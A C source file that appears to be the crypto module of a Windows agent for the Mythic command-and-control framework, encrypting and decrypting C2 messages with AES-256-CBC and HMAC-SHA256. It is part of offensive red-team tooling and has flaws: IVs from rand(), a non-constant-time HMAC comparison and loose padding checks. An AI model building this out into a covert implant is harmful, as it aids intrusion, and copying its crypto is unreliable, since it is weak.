#define _CRT_SECURE_NO_WARNINGS

// =======================================================
// COMPAT FIX for MinGW: ensure bcrypt + NTSTATUS constants
// =======================================================
#ifndef NTDDI_VERSION
#define NTDDI_VERSION NTDDI_WIN10
#endif

#ifndef _WIN32_WINNT
#define _WIN32_WINNT 0x0A00  // Windows 10
#endif

#include <ntstatus.h>
#define WIN32_NO_STATUS
#include <windows.h>
#undef WIN32_NO_STATUS

#include "crypto.h"
#include "utils.h"
#include "hmac_sha256.h"
#include "Aes.h"
#include <bcrypt.h>
#include <wincrypt.h>
#pragma comment(lib, "bcrypt.lib")

// Include struct definitions AFTER crypto.h to avoid circular dependency
// crypto.h has forward declarations, but crypto.c needs the actual structures
#include "paquete.h"
#include "analizador.h"

// =======================================================
// Define missing bcrypt constants if MinGW headers lack them
// =======================================================
#ifndef MS_PRIMITIVE_PROVIDER
#define MS_PRIMITIVE_PROVIDER L"Microsoft Primitive Provider"
#endif

// Constants
#define IVSIZE 16
#define SHA256_HASH_SIZE 32

// Globals (simple single-agent context)
static unsigned char g_aesKey[AES_KEY_SIZE];
static int g_aesKeySet = 0;
static int g_encryptionEnabled = 0;  // Track if encryption is enabled

// Helpers
static void secure_zero(void *p, SIZE_T n) {
    if (p && n) { SecureZeroMemory(p, n); }
}

void crypto_cleanup(void) {
    secure_zero(g_aesKey, sizeof(g_aesKey));
    g_aesKeySet = 0;
    g_encryptionEnabled = 0;
}

// Initialize AESPSK key from base64 string (Mythic format)
BOOL crypto_init_aespsk(const char *aespsk_key_b64) {
    if (!aespsk_key_b64 || strlen(aespsk_key_b64) == 0) {
        _err("No AESPSK key provided");
        g_encryptionEnabled = 0;
        return FALSE;
    }
    
    // Base64 decode the key
    PBYTE decoded = NULL;
    SIZE_T decoded_len = 0;
    
    if (!base64_decode(aespsk_key_b64, &decoded, &decoded_len)) {
        _err("Failed to decode AESPSK key");
        return FALSE;
    }
    
    if (decoded_len != AES_KEY_SIZE) {
        _err("AESPSK key length is %zu, expected %d", decoded_len, AES_KEY_SIZE);
        if (decoded) LocalFree(decoded);
        return FALSE;
    }

    memcpy(g_aesKey, decoded, AES_KEY_SIZE);
    g_aesKeySet = 1;
    g_encryptionEnabled = 1;
    
    if (decoded) LocalFree(decoded);
    
    _inf("AESPSK key initialized successfully (encryption enabled)");
    return TRUE;
}

// Check if encryption is enabled
BOOL crypto_is_encryption_enabled(void) {
    return g_encryptionEnabled && g_aesKeySet;
}

// AES encrypt package for Mythic (based on Xenon implementation)
// Format: [IV(16)][Ciphertext with PKCS7][HMAC(32)]
BOOL CryptoMythicEncryptPackage(void* package) {
    PPaquete pkg = (PPaquete)package;
    _inf("=== CryptoMythicEncryptPackage START ===");
    
    if (!pkg || !pkg->buffer || pkg->length == 0) {
        _err("Invalid package (pkg=%p, buffer=%p, length=%zu)", 
             pkg, pkg ? pkg->buffer : NULL, pkg ? pkg->length : 0);
        return FALSE;
    }

    _dbg("Input package: length=%zu bytes", pkg->length);
    
    if (!g_aesKeySet) {
        _err("AES key not set");
        return FALSE;
    }
    _dbg("AES key is set (key length: %d bytes)", AES_KEY_SIZE);
    
    // Generate random IV
    BYTE iv[IVSIZE];
    _dbg("Generating random IV (%d bytes)...", IVSIZE);
    for (int i = 0; i < IVSIZE; i++) {
        iv[i] = (BYTE)(rand() % 0xFF);
    }
    _dbg("IV generated (hex): ");
    for (int i = 0; i < IVSIZE; i++) {
        _dbg("  %02x ", iv[i]);
    }
    
    // Calculate padding needed
    SIZE_T datalen = pkg->length;
    SIZE_T padding_needed = (AES_BLOCKLEN - (datalen % AES_BLOCKLEN)) % AES_BLOCKLEN;
    if (padding_needed == 0) {
        padding_needed = AES_BLOCKLEN;
    }
    _dbg("Data length: %zu bytes", datalen);
    _dbg("Padding needed: %zu bytes (block size: %d)", padding_needed, AES_BLOCKLEN);
    
    // Add padding
    _dbg("Adding PKCS7 padding...");
    pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + padding_needed, LMEM_MOVEABLE | LMEM_ZEROINIT);
    if (!pkg->buffer) {
        _err("Failed to add padding");
        return FALSE;
    }
    memset((PBYTE)pkg->buffer + pkg->length, (BYTE)padding_needed, padding_needed);
    SIZE_T padded_len = pkg->length + padding_needed;
    pkg->length = padded_len;
    _dbg("After padding: %zu bytes", padded_len);
    
    // Encrypt with AES-256-CBC
    _dbg("Initializing AES context with IV...");
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, g_aesKey, iv);
    _inf("Encrypting with AES-256-CBC...");
    AES_CBC_encrypt_buffer(&ctx, (uint8_t*)pkg->buffer, padded_len);
    _dbg("Encryption complete, ciphertext: %zu bytes", padded_len);
    
    // Prepend IV before the encrypted data
    _dbg("Prepending IV (%d bytes) before ciphertext...", IVSIZE);
    pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + IVSIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
    if (!pkg->buffer) {
        _err("Failed to prepend IV");
        return FALSE;
    }

    memmove((PBYTE)pkg->buffer + IVSIZE, pkg->buffer, pkg->length);
    memcpy(pkg->buffer, iv, IVSIZE);
    pkg->length += IVSIZE;
    _dbg("After prepending IV: %zu bytes (IV: %d + ciphertext: %zu)", 
         pkg->length, IVSIZE, padded_len);
    
    // Calculate HMAC (IV + Ciphertext)
    _inf("Calculating HMAC-SHA256 over IV + Ciphertext...");
    PBYTE hmac = (PBYTE)malloc(SHA256_HASH_SIZE);
    SIZE_T hmac_size = SHA256_HASH_SIZE;
    
    _dbg("HMAC input length: %zu bytes (for HMAC calculation)", pkg->length);
    hmac_sha256(
        g_aesKey, AES_KEY_SIZE,
        pkg->buffer, pkg->length,
        hmac, hmac_size
    );
    
    _dbg("HMAC calculated (hex): ");
    for (size_t i = 0; i < hmac_size; i++) {
        _dbg("  %02x ", hmac[i]);
    }
    
    // Append HMAC
    _dbg("Appending HMAC (%zu bytes)...", SHA256_HASH_SIZE);
    pkg->buffer = LocalReAlloc(pkg->buffer, pkg->length + SHA256_HASH_SIZE, LMEM_MOVEABLE | LMEM_ZEROINIT);
    if (!pkg->buffer) {
        free(hmac);
        _err("Failed to append HMAC");
        return FALSE;
    }
    memcpy((PBYTE)pkg->buffer + pkg->length, hmac, SHA256_HASH_SIZE);
    pkg->length += SHA256_HASH_SIZE;
    
    free(hmac);
    _inf("=== ENCRYPTION COMPLETE ===");
    _dbg("Final encrypted package: %zu bytes", pkg->length);
    _dbg("Format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", padded_len);
    return TRUE;
}

// AES decrypt parser for Mythic (based on Xenon implementation)
BOOL CryptoMythicDecryptParser(void* analizador) {
    PAnalizador parser = (PAnalizador)analizador;
    _inf("=== CryptoMythicDecryptParser START ===");
    
    if (!parser || !parser->buffer || parser->tamano < (IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE)) {
        _err("Invalid parser (parser=%p, buffer=%p, size=%zu)", 
             parser, parser ? parser->buffer : NULL, parser ? parser->tamano : 0);
        _err("Minimum required: %d bytes", IVSIZE + AES_BLOCKLEN + SHA256_HASH_SIZE);
        return FALSE;
    }
    
    _dbg("Input parser: size=%zu bytes", parser->tamano);
    
    // Log first bytes of encrypted data
    _dbg("Encrypted data preview (hex, first 64 bytes): ");
    for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
        _dbg("  %02x ", parser->buffer[i]);
        if ((i + 1) % 32 == 0) _dbg("\n");
    }
    
    if (!g_aesKeySet) {
        _err("AES key not set");
        return FALSE;
    }
    _dbg("AES key is set");
    
    // Extract HMAC from end
    PBYTE hmac_provided = parser->buffer + parser->tamano - SHA256_HASH_SIZE;
    SIZE_T encrypted_data_length = parser->tamano - IVSIZE - SHA256_HASH_SIZE;
    
    _dbg("=== EXTRACTING COMPONENTS ===");
    _dbg("Total size: %zu bytes", parser->tamano);
    _dbg("HMAC offset: %zu bytes from start", parser->tamano - SHA256_HASH_SIZE);
    _dbg("Encrypted data length (without IV and HMAC): %zu bytes", encrypted_data_length);
    _dbg("Expected format: [IV(16)][Ciphertext(%zu)][HMAC(32)]", encrypted_data_length);
    
    // Extract and log IV
    BYTE *iv = parser->buffer;
    _dbg("IV (first 16 bytes, hex): ");
    for (int i = 0; i < IVSIZE; i++) {
        _dbg("  %02x ", iv[i]);
    }
    
    // Log HMAC provided
    _dbg("HMAC provided (last 32 bytes, hex): ");
    for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
        _dbg("  %02x ", hmac_provided[i]);
    }
    
    // Verify HMAC
    _inf("=== VERIFYING HMAC ===");
    _dbg("Calculating HMAC over %zu bytes (IV + Ciphertext)", IVSIZE + encrypted_data_length);
    PBYTE hmac_calculated = (PBYTE)malloc(SHA256_HASH_SIZE);
    if (!hmac_calculated) {
        _err("Failed to allocate HMAC buffer");
        return FALSE;
    }
    
    hmac_sha256(
        g_aesKey, AES_KEY_SIZE,
        parser->buffer, IVSIZE + encrypted_data_length,
        hmac_calculated, SHA256_HASH_SIZE
    );
    
    _dbg("HMAC calculated (hex): ");
    for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
        _dbg("  %02x ", hmac_calculated[i]);
    }
    
    if (memcmp(hmac_calculated, hmac_provided, SHA256_HASH_SIZE) != 0) {
        _err("=== HMAC VERIFICATION FAILED ===");
        _err("Provided HMAC: ");
        for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
            _err("  %02x ", hmac_provided[i]);
        }
        _err("Calculated HMAC: ");
        for (size_t i = 0; i < SHA256_HASH_SIZE; i++) {
            _err("  %02x ", hmac_calculated[i]);
        }
        _dbg("Data used for HMAC calculation (first 48 bytes): ");
        for (size_t i = 0; i < ((IVSIZE + encrypted_data_length) > 48 ? 48 : (IVSIZE + encrypted_data_length)); i++) {
            _dbg("  %02x ", parser->buffer[i]);
            if ((i + 1) % 16 == 0) _dbg("\n");
        }
        free(hmac_calculated);
        return FALSE;
    }
    
    _inf("HMAC verification SUCCESS");
    
    free(hmac_calculated);
    
    // Decrypt
    _inf("=== DECRYPTING ===");
    _dbg("Initializing AES context with IV...");
    struct AES_ctx ctx;
    AES_init_ctx_iv(&ctx, g_aesKey, iv);
    _inf("Decrypting %zu bytes of ciphertext...", encrypted_data_length);
    AES_CBC_decrypt_buffer(&ctx, parser->buffer + IVSIZE, encrypted_data_length);
    _dbg("Decryption complete");
    
    // Log decrypted data before unpadding
    _dbg("Decrypted data (before unpadding, hex, first 64 bytes): ");
    for (size_t i = 0; i < (encrypted_data_length > 64 ? 64 : encrypted_data_length); i++) {
        _dbg("  %02x ", parser->buffer[IVSIZE + i]);
        if ((i + 1) % 32 == 0) _dbg("\n");
    }
    
    // Remove padding
    _dbg("=== REMOVING PADDING ===");
    BYTE padding_length = parser->buffer[IVSIZE + encrypted_data_length - 1];
    _dbg("Padding length from last byte: %d", padding_length);
    _dbg("Last 16 bytes (should show padding): ");
    size_t padding_start = IVSIZE + encrypted_data_length - 16;
    for (size_t i = 0; i < 16 && padding_start + i < parser->tamano; i++) {
        _dbg("  %02x ", parser->buffer[padding_start + i]);
    }
    
    if (padding_length > AES_BLOCKLEN) {
        _err("Invalid padding length: %d", padding_length);
        return FALSE;
    }
    
    SIZE_T unpadded_len = encrypted_data_length - padding_length;
    
    _dbg("Unpadded length: %zu bytes", unpadded_len);
    
    // Update parser
    SIZE_T original_size = parser->tamano;
    _dbg("Moving decrypted data to start of buffer (removing IV)...");
    memmove(parser->buffer, parser->buffer + IVSIZE, unpadded_len);
    parser->buffer = LocalReAlloc(parser->buffer, unpadded_len, LMEM_MOVEABLE);
    parser->tamano = unpadded_len;
    
    // Log final decrypted data
    _inf("=== DECRYPTION COMPLETE ===");
    _dbg("Final decrypted size: %zu bytes (original encrypted: %zu bytes)", 
         parser->tamano, original_size);
    _dbg("Final decrypted data (hex, first 64 bytes): ");
    for (size_t i = 0; i < (parser->tamano > 64 ? 64 : parser->tamano); i++) {
        _dbg("  %02x ", parser->buffer[i]);
        if ((i + 1) % 32 == 0) _dbg("\n");
    }
    
    // Log as ASCII if printable
    if (parser->tamano > 0) {
        _dbg("First byte: 0x%02X", parser->buffer[0]);
        if (parser->tamano >= 36) {
            char uuidBuf[37] = {0};
            memcpy(uuidBuf, parser->buffer, 36);
            _dbg("First 36 bytes (should be UUID if present): %s", uuidBuf);
        }
    }
    
    _inf("Parser decrypted successfully (length: %zu)", parser->tamano);
    return TRUE;
}
